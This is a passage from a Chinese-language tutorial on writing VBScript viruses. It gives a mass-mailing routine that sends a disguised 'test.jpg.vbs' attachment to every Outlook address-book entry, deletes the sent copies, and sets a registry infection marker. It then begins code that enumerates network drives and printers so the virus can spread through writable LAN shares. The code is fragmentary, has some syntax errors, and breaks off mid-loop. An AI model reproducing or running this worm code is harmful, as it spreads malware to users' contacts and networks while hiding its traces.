Set addrList= mapiObj.AddressLists
//获取地址表的个数
For Each addr In addrList
If addr.AddressEntries.Count 0 Then
addrEntCount = addr.AddressEntries.Count
//获取每个地址表的Email记录数
For addrEntIndex= 1 To addrEntCount
//遍历地址表的Email地址
Set item = outlookApp.CreateItem(0)
//获取一个邮件对象实例
Set addrEnt = addr.AddressEntries(addrEntIndex)
//获取具体Email地址
item.To = addrEnt.Address
//填入收信人地址
item.Subject = "病毒传播实验"
//写入邮件标题
item.Body = "这里是病毒邮件传播测试,收到此信请不要慌张!
" //写入文件内容
Set attachMents=item.Attachments //定义邮件附件
attachMents.Add fileSysObj.GetSpecialFolder(0)&"/test.jpg.vbs"
item.DeleteAfterSubmit = True
//信件提交后自动删除
If item.To "" Then
item.Send
//发送邮件
shellObj.regwrite "HKCU/software/Mailtest/mailed", "1"
//病毒标记,以免重复感染
End If
NextEnd IfNext
End if
End Function
2)通过局域网共享传播
局域网共享传播也是一种非常普遍并且有效的网络传播方式。一般来说,为了局域网内交流方便,一定存在不少共享目录,并且具有可写权限,譬如win2000创建共享时,默认就是具有可写权限。这样病毒通过搜索这些共享目录,就可以将病毒代码传播到这些目录之中。
在VBS中,有一个对象可以实现网上邻居共享文件夹的搜索与文件操作。我们利用该对象就可以达到传播的目的。
welcome_msg = "网络连接搜索测试"
Set WSHNetwork = WScript.CreateObject("WScript.Network")
’创建一个网络对象
Set oPrinters = WshNetwork.EnumPrinterConnections
’创建一个网络打印机连接列表
WScript.Echo "Network printer mappings:"
For i = 0 to oPrinters.Count - 1Step2
’显示网络打印机连接情况
WScript.Echo "Port "&oPrinters.Item(i)
& " = " & oPrinters.Item(i+1)
Next
Set colDrives = WSHNetwork.EnumNetworkDrives
’创建一个网络共享连接列表
If colDrives.Count = 0 Then
MsgBox "没有可列出的驱动器。",
vbInformation + vbOkOnly,welcome_msg
Else
strMsg = "当前网络驱动器连接: " &CRLF
Fori=0To colDrives.Count - 1 Step 2
strMsg = strMsg & Chr(13)&Chr(10)&colDrives(i)
& Chr(9)&colDrives(i+1)